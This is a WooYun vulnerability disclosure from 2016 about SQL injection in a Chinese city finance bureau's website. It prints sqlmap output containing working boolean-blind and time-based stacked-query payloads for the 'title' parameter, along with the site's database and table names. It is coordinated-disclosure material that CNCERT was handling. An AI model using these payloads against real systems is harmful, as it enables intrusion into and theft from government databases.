当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0167015

漏洞标题:某市财政局主站SQL注入漏洞一枚

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2016-01-05 01:02

修复时间:2016-02-20 15:48

公开时间:2016-02-20 15:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-05: 细节已通知厂商并且等待厂商处理中
2016-01-08: 厂商已经确认,细节仅向厂商公开
2016-01-18: 细节向核心白帽子及相关领域专家公开
2016-01-28: 细节向普通白帽子公开
2016-02-07: 细节向实习白帽子公开
2016-02-20: 细节向公众公开

简要描述:

RT

详细说明:

http://**.**.**.**/ycczj/news/downInfo?num=0&title=&deptid=


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: title (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: num=0&title=%' AND 9352=9352 AND '%'='&deptid=
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
Payload: num=0&title=%';(SELECT * FROM (SELECT(SLEEP(5)))gApx)#&deptid=
---
[15:44:10] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5.0.11
[15:44:10] [INFO] fetching current database
[15:44:10] [INFO] resuming partial value: yccz_gov_c
[15:44:10] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' fo
r faster data retrieval
[15:44:10] [INFO] retrieved:
[15:44:10] [WARNING] reflective value(s) found and filtering out
n
current database: 'yccz_gov_cn'
[15:44:13] [INFO] fetching database names
[15:44:13] [INFO] fetching number of databases
[15:44:13] [INFO] resumed: 5
[15:44:13] [INFO] resumed: information_schema
[15:44:13] [INFO] resumed: mysql
[15:44:13] [INFO] resumed: performance_schema
[15:44:13] [INFO] resumed: test
[15:44:13] [INFO] resumed: yccz_gov_cn
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] yccz_gov_cn


漏洞证明:

Database: yccz_gov_cn
+---------------+---------+
| Table | Entries |
+---------------+---------+
| points | 2036073 |
| loginfo | 46112 |
| applyinfo | 19514 |
| jh_info | 1871 |
| jh_infodetail | 1871 |
| approveinfo | 1545 |
| emailinfo | 1521 |
| newapproval | 1413 |
| fhcp | 286 |
| fhcp_detail | 270 |
| jhinfotype | 248 |
| jh_info_other | 212 |
| fhcp_image | 172 |
| jhadmin | 151 |
| gknewapproval | 97 |
| lmcode | 76 |
| department | 36 |
| organization | 33 |
| managedept | 28 |
+---------------+---------+

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-01-08 20:18

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给江苏分中心,由其后续协调网站管理单位处置.

最新状态:

暂无


漏洞评价:

评价